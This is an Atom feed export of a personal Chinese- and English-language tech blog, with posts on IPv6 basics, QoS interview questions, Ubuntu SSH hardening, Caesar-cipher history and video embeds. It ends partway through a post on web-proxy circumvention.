<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8518521158278941755</id><updated>2011-09-10T22:53:19.049+08:00</updated><category term='Reading'/><category term='Network'/><category term='Python'/><category term='virtualization'/><category term='VPN'/><category term='encryption'/><category term='Blogger Hack'/><category term='Games'/><category term='download'/><category term='Case note'/><category term='Rom Hack'/><category term='Linux'/><category term='Hacks'/><category term='security'/><category term='video'/><category term='qos'/><category term='Programing'/><category term='Unsorted'/><category term='Blogger Template'/><category term='ipv6'/><category term='ebook'/><title type='text'>特色他</title><subtitle type='html'>View me in FireFox</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>96</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5291616635753897960</id><published>2011-05-17T20:15:00.000+08:00</published><updated>2011-05-17T20:16:26.867+08:00</updated><title type='text'>test</title><content type='html'>test post&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5291616635753897960?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5291616635753897960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5291616635753897960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5291616635753897960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5291616635753897960'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2011/05/test.html' title='test'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2185063834340334572</id><published>2010-12-14T12:00:00.002+08:00</published><updated>2010-12-14T12:00:45.858+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><title type='text'>Important Points to Know About IPV6</title><content type='html'>We are slowly approaching the implementation of IPv6 in a mass scale  and thus we must be ready to learn some significant differences over  IPv4. Also, some IP addressing terms will start to appear with  increasing frequency in our day to day work. So let’s see some notable  concepts that you need to know about IPv6.&lt;br /&gt;– IPv6 addresses are 128 bits long and are expressed in hexadecimal numbers.&lt;br /&gt;– IPv4 addresses are 32 bits long and are represented as four octets  separated by periods. Each octet of the address is represented in  decimal, taking a possible value between 0 and 255.&lt;br /&gt;&lt;strong&gt;Example: 192.168.1.1&lt;/strong&gt;&lt;br /&gt;–&amp;nbsp; IPv6 addresses are 128 bits long and are expressed in hexadecimal  numbers. Every four hexadecimal characters are separated by a colon.&lt;br /&gt;&lt;strong&gt;Example: 2001:75b: a12c: 6: c0: a8: 1:1&lt;/strong&gt;&lt;br /&gt;– IPv6 uses different IP address types. One of those types is the  link local address that configures itself at every interface that has  enabled the IPv6 protocol. The local link interface addresses always  begin with &lt;strong&gt;FE80&lt;/strong&gt;.&lt;br /&gt;– Similarly, multicast addresses always start with &lt;strong&gt;FF0x&lt;/strong&gt; (the &lt;strong&gt;x&lt;/strong&gt; represents a hexadecimal digit letter between 1 and 8).&lt;br /&gt;–&lt;strong&gt; Zeros&lt;/strong&gt; at the beginning of each portion of the  address may be deleted. IPv6 addresses are expressed as 32 hexadecimal  digits separated into 8 groups of 4 digits separated by a colon. When  one of these 8 groups of digits begins with zero, it can be eliminated.&lt;br /&gt;For example:&lt;br /&gt;&lt;strong&gt;FE80: CD00: 0000: 0CDE: 1234: 0000: 5678: 0009&lt;/strong&gt;&lt;br /&gt;If we delete the zeros at the beginning of each section the address becomes:&lt;br /&gt;&lt;strong&gt;FE80: CD00: 0: CDE: 1234: 0: 5678: 9&lt;/strong&gt;&lt;br /&gt;–&amp;nbsp; When there are zeros in several positions, they may also be deleted.&lt;br /&gt;We often find addresses that have multiple sections of zero. These sections can also be suppressed to a single zero.&lt;br /&gt;For example:&lt;br /&gt;&lt;strong&gt;FE80: CD00: 0000:0000:0000:0000:0010:0127&lt;/strong&gt;&lt;br /&gt;In this scenario we can eliminate consecutive groups of zeros and  also suppress leading zeros in some groups. Thus, the address becomes:&lt;br /&gt;&lt;strong&gt;FE80: CD00 :: 10:127&lt;/strong&gt;&lt;br /&gt;The double colon expression &lt;strong&gt;::&lt;/strong&gt; tells the operating system that everything between them are all zeros.&lt;br /&gt;You must be careful because you can delete an entire section only  when fully made up with zeros. Also remember that the double colon  expression :: can be used only once in each IP address representation.&lt;br /&gt;– There is only one loopback address. IPv4 has reserved the entire  network 127.0.0.0 / 8 (it is customary to use address 127.0.0.1) as the  loopback address to point to the local machine.&lt;br /&gt;In IPv6 there is also a loopback address, but in this case is only one and represented with &lt;strong&gt;:: 1&lt;/strong&gt;&lt;br /&gt;Or to put it in the conventional way (full format):&lt;br /&gt;0000:0000:0000:0000:0000:0000:0000:0001&lt;br /&gt;– No subnet mask is needed.&lt;br /&gt;In IPv4, each port is identified by an IP address and subnet mask.&lt;br /&gt;In IPv6 you can also implement subnets but this is not necessary. Of the  total of 128 bits that make up an address, the first 48 identify the  network prefix, the next 16 are the subnet ID, and the last 64 are the  interface identifier. Since 16 bits are reserved for the local portion  of subnets, in an IPv6 network it is possible to generate 65536 subnets.&lt;br /&gt;– DNS service is also available in IPv6.&lt;br /&gt;In IPv4 DNS service uses the A records to map IP addresses to names. In  IPv6 AAAA records are used (also called Quad A). The domain &lt;strong&gt;ip6.arpa&lt;/strong&gt; is used for reverse name resolution.&lt;br /&gt;– IPv6 addresses can connect over IPv4 networks.&lt;br /&gt;The design of IPv6 allows multiple forms of transition, enabling the  development of IPv6 networks even when the route must pass through IPv4  networks. These transitional forms use tunneling over IPv4 networks. The  two most popular technologies for this are Teredo and 6to4.The basic  idea is that IPv6 packets are encapsulated within IPv4 packets to  traverse these networks.&lt;br /&gt;– Many vendors are already able to use IPv6.&lt;br /&gt;Microsoft operating systems from Windows Vista and Windows 7 have IPv6  installed by default together with IPv4 (also can be installed on  Windows XP, but is not there by default).&lt;br /&gt;Also, Unix and Linux operating systems support IPv6 for years.&lt;br /&gt;Regarding network vendors, Cisco IOS supports IPv6 many years ago, but  it is not enabled by default and needs to be explicitly enabled with the  command “&lt;strong&gt;ipv6 unicast routing&lt;/strong&gt;”.&lt;br /&gt;– Windows support for IPv6 has some peculiarities.&lt;br /&gt;When a client wants to address a specific port, for example, an IP  Address and Port number in Internet Explorer is separated by a colon:&lt;br /&gt;http://172.16.100.1:8543&lt;br /&gt;In IPv6, as the colon is part of the description of the IP address, the IP and Port separation is done using square brackets:&lt;br /&gt;http:// [FE80: CD00: 0: CDE: 1234:0:2567:9AB]: 8543&lt;br /&gt;This format is not supported on Windows machines because when you use  colons this is interpreted as referencing an internal drive in the  computer.&lt;br /&gt;To solve this problem, Microsoft has established a special domain for  the IPv6 address representation in Windows machines. In this way, if  you reference an IPv6 address using Universal Naming Convention, the  digits must be separated by dashes instead of colons and at the end of  the address you must add the domain name “&lt;strong&gt;ipv6-literal.net&lt;/strong&gt;”.&lt;br /&gt;An example, instead of:&lt;br /&gt;&lt;strong&gt;http:// [FE80: CD00: 0: CDE: 1234:0:2567:9AB]&lt;/strong&gt;&lt;br /&gt;You should use:&lt;br /&gt;&lt;strong&gt;http://FE80-CD00-0-CDE-1234-0-2567-9AB.ipv6-literal.net&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2185063834340334572?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2185063834340334572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2185063834340334572' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2185063834340334572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2185063834340334572'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/important-points-to-know-about-ipv6.html' title='Important Points to Know About IPV6'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5824193304153959204</id><published>2010-12-14T11:39:00.002+08:00</published><updated>2010-12-14T11:39:43.277+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='qos'/><title type='text'>Qos Interview Questions?</title><content type='html'>1. What is QOS and why it is required?&lt;br /&gt;2. What is layer2 qos and layer3 qos?&lt;br /&gt;3. What is tail drop?&lt;br /&gt;4. Describe methods of QOS?&lt;br /&gt;5. What is hardware QOS and Software QOS?&lt;br /&gt;6. Difference between a policer and a shaper?&lt;br /&gt;7. What is token bucket algorithm?&lt;br /&gt;8. Where to define the markings?&lt;br /&gt;9. Does QOS increase the load of the equipment?&lt;br /&gt;10. What is TOS and IP DSCP?&lt;br /&gt;11. what are the different classes available?&lt;br /&gt;12. How to calculate the decimal value of classess?&lt;br /&gt;13. What is the difference between priority and bandwidth command?&lt;br /&gt;14. What is low latecy queueing?&lt;br /&gt;15. what is class based weighted fair queuing?&lt;br /&gt;16. What is first in first out queue (FIFO)?&lt;br /&gt;17. What is fair queue?&lt;br /&gt;18. If I give teh ip precendence five to data traffic, what will happen?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5824193304153959204?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5824193304153959204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5824193304153959204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5824193304153959204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5824193304153959204'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/qos-interview-questions.html' title='Qos Interview Questions?'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4726356639754251228</id><published>2010-12-13T21:11:00.000+08:00</published><updated>2010-12-13T21:11:32.328+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Ubuntu下ssh服务的安全增强</title><content type='html'>原文地址：&lt;a href="http://www.td2.us/blog/2010-11/103.html" target="_blank"&gt;http://www.td2.us/blog/2010-11/103.html&lt;/a&gt;&amp;nbsp;    &lt;br /&gt;&lt;br /&gt;虽然ssh将联机的封包通过加密的技术来进行资料的传递，能够有效地抵御黑客使用网络侦听来获取口令和秘密信息，但是仍然不乏大量入侵者进行密码尝试或其他手段来攻击ssh服务器以图获得服务器控制权。Ubuntu下面一些配置将进一步加强其安全性：  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.修改sshd服务器的配置文件/etc/ssh/sshd_config，将部分参数参照如下修改，增强安全性。&lt;br /&gt;Port 4321&lt;br /&gt;系统缺省使用22号端口，将监听端口更改为其他数值（最好是1024以上的高端口，以免和其他常规服务端口冲突），这样可以增加入侵者探测系统是否运行了sshd守护进程的难度。&lt;br /&gt;ListenAddress 192.168.0.1&lt;br /&gt;对于在服务器上安装了多个网卡或配置多个IP地址的情况，设定sshd只在其中一个指定的接口地址监听，这样可以减少sshd的入口，降低入侵的可能性。&lt;br /&gt;PermitRootLogin no&lt;br /&gt;如果允许用户使用root用户登录，那么黑客们可以针对root用户尝试暴力破解密码，给系统安全带来风险。&lt;br /&gt;PermitEmptyPasswords no&lt;br /&gt;允许使用空密码系统就像不设防的堡垒，任何安全措施都是一句空话。&lt;br /&gt;AllowUsers sshuser1 sshuser2&lt;br /&gt;只允许指定的某些用户通过ssh访问服务器，将ssh使用权限限定在最小的范围内。&lt;br /&gt;AllowGroups sshgroup&lt;br /&gt;同上面的AllowUsers类似，限定指定的用户组通过ssh访问服务器，二者对于限定访问服务器有相同的效果。&lt;br /&gt;Protocol 2&lt;br /&gt;禁止使用版本1协议，因为其存在设计缺陷，很容易使密码被黑掉。&lt;br /&gt;禁止所有不需要的（或不安全的）授权认证方式。&lt;br /&gt;X11Forwarding no&lt;br /&gt;关闭X11Forwarding，防止会话被劫持。&lt;br /&gt;MaxStartups 5&lt;br /&gt;sshd服务运行时每一个连接都要使用一大块可观的内存，这也是ssh存在拒绝服务攻击的原因。一台服务器除非存在许多管理员同时管理服务器，否则上面这个连接数设置是够用了。&lt;br /&gt;注意：以上参数设置仅仅是一个示例，用户具体使用时应根据各自的环境做相应的更改。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.修改sshd服务器的配置文件/etc/ssh/sshd_config的读写权限，对所有非root用户设置只读权限，防止非授权用户修改sshd服务的安全设置。&lt;br /&gt;chmod 644 /etc/ssh/sshd_config&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.设置TCP Wrappers。服务器默认接受所有的请求连接，这是非常危险的。使用TCP Wrappers可以阻止或允许应用服务仅对某些主机开放，给系统在增加一道安全屏障。这部分设置共涉计到两个文件：hosts.allow和hosts.deny。&lt;br /&gt;将那些明确允许的请求添加到/etc/hosts.allow中。如系统仅允许IP地址为192.168.0.15和10.0.0.11的主机使用sshd服务，则添加如下内容：&lt;br /&gt;sshd:192.168.0.15 10.0.0.11&lt;br /&gt;将需要禁止使用的信息添加到/etc/hosts.deny中。如对除了在hosts.allow列表中明确允许使用sshd的用户外，所有其他用户都禁止使用sshd服务，则添加如下内容到hosts.deny文件中：&lt;br /&gt;sshd:All&lt;br /&gt;注意：系统对上述两个文件的判断顺序是先检查hosts.allow文件再查看hosts.deny文件，因此一个用户在hosts.allow允  许使用网络资源，而同时在hosts.deny中禁止使用该网络资源，在这种情况下系统优先选择使用hosts.allow配置，允许用户使用该网络资  源。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  4.尽量关闭一些系统不需要的启动服务。系统默认情况下启动了许多与网络相关的服务，因此相对应的开放了许多端口进行LISTENING（监听）。我们知  道，开放的端口越多，系统从外部被入侵的可能也就越大，所以我们要尽量关闭一些不需要的启动服务，从而尽可能的关闭端口，提供系统的安全性。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4726356639754251228?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4726356639754251228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4726356639754251228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4726356639754251228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4726356639754251228'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/ubuntussh.html' title='Ubuntu下ssh服务的安全增强'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6459381822818881178</id><published>2010-12-10T09:29:00.000+08:00</published><updated>2010-12-10T09:29:36.829+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>凯撒的加密术</title><content type='html'>原文地址： &lt;a href="http://songshuhui.net/archives/46557"&gt;http://songshuhui.net/archives/46557&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;送上开场诗一首：我用相思作玉杯，真情当酒意相随，爱心已醉何时醒，你似蝴蝶梦里飞。 &lt;br /&gt;&lt;br /&gt;你可以把这首诗发给你女友，聪明的她一定能看出这是首藏头诗，从而明白你的心意。其实，藏头诗就是一种加密术，它通过坐标变换的方式隐藏了秘密，这个例子虽然很简单，但它反映出了加密术的本质–变换坐标系。&lt;br /&gt;&lt;br /&gt;加密术最早应用于古代战争，当时是靠士兵随身携带的信件来传递情报，但总是免不了被敌方俘虏，从而使情报落入敌手，这对作战部队而言可是生死悠关的 大事。传说当时的凯撒大帝有一个能加密的办法，就在写命令前做一个对应表，明码：A B C D E F….W X Y Z，密码：D E F G H  I….Z A B C，如果他想写BABY，就用EDEB来表示。&lt;br /&gt;&lt;br /&gt;当大将收到了EDEB这个密码后，向前推3个字母，就得到了明文。这个对应表的移位数是3，当然别的数也可以，作战前由凯撒定好移位数后通知大将 们，战时就可以进行保密通信了。这种加密方式其实就是把坐标系横移了3格。但是，这种简单的加密方法也很容易被敌方猜到，敌人从1到25推25次，得到 25组新编码，必有一种编码是真实的情报内容，把这组编码区别出来非常容易，因为其它24组都是毫无意义的字母组合，只有这一组是有意义的句子，找个识字 的人就可以看得出来。&lt;br /&gt;既然这种加密手段并不安全，那凯撒该怎么办呢？有个聪明人给他出了个主意，对应表不按字母顺序写，搞个乱序的。例如A对Q，B对F，随意配对，只要 保证26个明密码一一对应没有重复就行了。每次出征前，凯撒就会搞个非常杂乱的明密码对应表，然后发给大将。这招很不错，敌人即使截获了密文，由于不知道 明密码对应表，也很难搞明白，这其实也是坐标系统的一种变换，这种方法被后人称为“单表系统”。&lt;br /&gt;&lt;br /&gt;这种乱序的加密术比顺序的安全多了，但它还是有一个明显的漏洞。以英文为例，一篇文档里每个字母的出现次数是不同的，例如E出现的次数最多，甚至可 以搞出个频次表来，如果一份密文中R出现的次数最多，那这个R会不会就是E呢？这个猜想很合理，即使代表的不是E，那它代表的也应是明文中出现次数较多的 字母。按照这种思路试试吧，卖糕的，密码解开了。&lt;br /&gt;&lt;img alt="" border="0" src="http://songshuhui.net/forum/attachments/month_1012/20101205_76eb12ca395633e4ff48WkGWxrUqrnt7.jpg" /&gt;&lt;br /&gt;现在又轮到加密方纠结了，他们想，破解方是在拿明密文中字母出现的频次做文章，如果我们能把频次的区别消除掉，他们不就没办法了吗？道理虽然很好，但怎样才能消除这种频次的差别呢，毕竟明文中字母的频次就是不一样，这本身没法改变啊。&lt;br /&gt;&lt;br /&gt;功夫不负有心人，有一天加密方终于找到了解决问题的关键，这个关键就是“多表”，每个明文都对应多个密文，例如图上的A分别对应着XGV，这三个密 文的选择取决于明文的位置，A在第一位时选X，第二位时选G，第三位时选V。将整个一段明话按三位一段进行分组后就可以加密了。这个例子是三维的，维数还 可以更多，那就更难破译了。这种多表系统非常有效，但其实还是有统计规律可循的，只是短短一段密文是不足以找到规律的。&lt;br /&gt;&lt;img alt="" border="0" height="233" src="http://songshuhui.net/forum/attachments/month_1012/20101205_08ee7c2cedd4a93b2605SbiTstIlQjp1.jpg" width="550" /&gt;&lt;br /&gt;这种对应规律相对固定的多表系统，还是给破解带来了突破口。&lt;span style="color: black;"&gt;随着技术的发展，人们开始尝试用机械改良这种多表系统，通过引入更多的变化来增大破解的难度。二战期间德军有一&lt;/span&gt;种 加密转轮机，四个轮子负责把输入的明码置乱成密码，其对应规律是动态变化的，使破译难度大大增加。有一个负责管理加密转轮机的德军军官汉斯.施密特，为了 钱与盟军情报人员勾搭上了，他提供了该机的技术资料，得到了相当于现在1千万法郎的报酬，后来他害怕了想退出，但已经由不得他了，他先后与盟军情报人员接 头34次，波兰顶级数学家里杰斯基等人在这些绝密情报的帮助下终于将该转轮机完全破解。&lt;br /&gt;&lt;img alt="" border="0" src="http://songshuhui.net/forum/attachments/month_1012/20101205_fac1a65dad067b9691f6dbBJPPcUWjXL.jpg" /&gt;&lt;br /&gt;还是回到凯撒吧，他当然知道自己的加密术并不很安全，送情报的士兵被抓后受刑不过就会把密信交出来，如果防止传令兵被俘后泄露情报呢？有人又给他出 了一招：把一批士兵的头发剃光，并用火烙铁在脑顶上烙上不同的印迹，并对哪个兵烙上什么样的疤做好记录，被烙的士兵一头雾水，不明白这是为什么。大战之 前，凯撒召集大将，并要求他们牢记一组对应关系，梅花疤代表“马上率部向我驰援”，三角疤代表“固守阵地”等等。&lt;br /&gt;&lt;br /&gt;战斗中凯撒被围困了，情况很危机，他拿来了记录本，把烙梅花疤的几个人都点了出来，命令他们沿不同的路线到大将处报到，“不用我们传个口信或带个情 报吗？”这些人很不解，“不用，你们到大将处报个到就算完成了任务”凯撒说到。这些人出发了，有的人成功地找到了大将报到，大将二话不说，立即给他剃头查 疤。也有的人被俘，严刑拷打也问不出情报，因为他的确不知道情报。距离剃头烙疤的时间已经很久了，士兵新长出的头发已经遮盖了烙疤，敌人也轻易察觉不到这 个蹊跷。&lt;br /&gt;&lt;div class="wp-caption alignnone" style="width: 319px;"&gt;&lt;img alt="" border="0" height="392" src="http://songshuhui.net/forum/attachments/month_1012/20101205_18585599a8f30759ddf7wbo63loS0XNf.jpg" width="309" /&gt;&lt;div class="wp-caption-text"&gt;  &lt;/div&gt;&lt;/div&gt;加密后的密文即使摆在敌人面前，他们也搞不清楚其真实内容，但让他们知道了这是件隐藏着重要情报的密文，就会拼命破解，这总归不是好事。如果密文摆 在他们面前，他们竟然毫无察觉，那当然更好了，这就是隐写术。凯撒给传令兵头上烙疤就是隐写术的鼻祖。谍报小说里经常会介绍到这样的场景，潜伏者用淀粉水 写情报，晾干后再在上面写一封信作为掩护，收信者并不关注信的内容，而是在信纸上涂上一层碘，淀粉水情报就会变成蓝色显示出来了。这样的一封信，即使让特 务机关拆开审查，只要不知道这个门道，那什么也查不出来。&lt;br /&gt;&lt;br /&gt;很多加密术看起来非常巧妙，但随着计算机的诞生，这些被称为古典密码术的方法全部失效，因为它们根本抵挡不住计算机的穷举分析。现代密码学的思路跟 古典密码术非常不同，它是先找出一个数学难题，然后把加密方法归结到这个难题，若解不出这个数学难题就破解不了他的密码。隐写术也逐渐脱离了物理和化学反 应，而是与加密术结合了起来，把秘密隐藏在数据中，现代密码学更加引人入胜，且等以后慢慢道来。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6459381822818881178?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6459381822818881178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6459381822818881178' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6459381822818881178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6459381822818881178'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/blog-post_10.html' title='凯撒的加密术'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-351323000676426950</id><published>2010-12-09T09:41:00.000+08:00</published><updated>2010-12-09T09:41:16.928+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>IIDX高手《灼熱Beach Side Bunny》AAA过关录像</title><content type='html'>说实话，虽然自己以前玩儿VOS在本地还是小有名气，但是看到这个还是傻了⋯⋯&lt;br /&gt;&lt;embed src="http://player.youku.com/player.php/sid/XMjI4MjM1Mjg4/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-351323000676426950?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/351323000676426950/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=351323000676426950' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/351323000676426950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/351323000676426950'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/iidxbeach-side-bunnyaaa.html' title='IIDX高手《灼熱Beach Side Bunny》AAA过关录像'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-611935457349064060</id><published>2010-12-09T09:36:00.000+08:00</published><updated>2010-12-09T09:36:34.082+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>Ten more science stunts for Christmas</title><content type='html'>能解释几个，有些还是不明白。求真相～&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/o715eLhIsqo?fs=1&amp;amp;hl=zh_CN"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/o715eLhIsqo?fs=1&amp;amp;hl=zh_CN" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-611935457349064060?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/611935457349064060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=611935457349064060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/611935457349064060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/611935457349064060'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/ten-more-science-stunts-for-christmas.html' title='Ten more science stunts for Christmas'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1713163645729469873</id><published>2010-12-08T10:41:00.000+08:00</published><updated>2010-12-08T10:41:10.410+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>使用网页代理翻墙的优点和风险</title><content type='html'>网页代理简 单易用，你无需安装任何软件，如果 在未过滤地区没有可靠的联系人，你甚至 可以使用公开的网页代理。私人网页代理可以定制，从而满足使用者的不同需要，并且更不易被审查机构发现和屏蔽。但是网页代理也有潜在的风险 。它们一般只允许网页浏览（HTTP），所以无法用于电子邮件和即时通讯服务。很多网页代理都不支持多媒体（如YouTube），或者无法加密（SSL， 安全套接协议层）。有些需要认证 的网络服务（如网络电子邮件）通过网页代理无法使用全部功能，你的密码和其它信息可能被监视或被盗。&lt;br /&gt;&lt;br /&gt;网页代理还可能 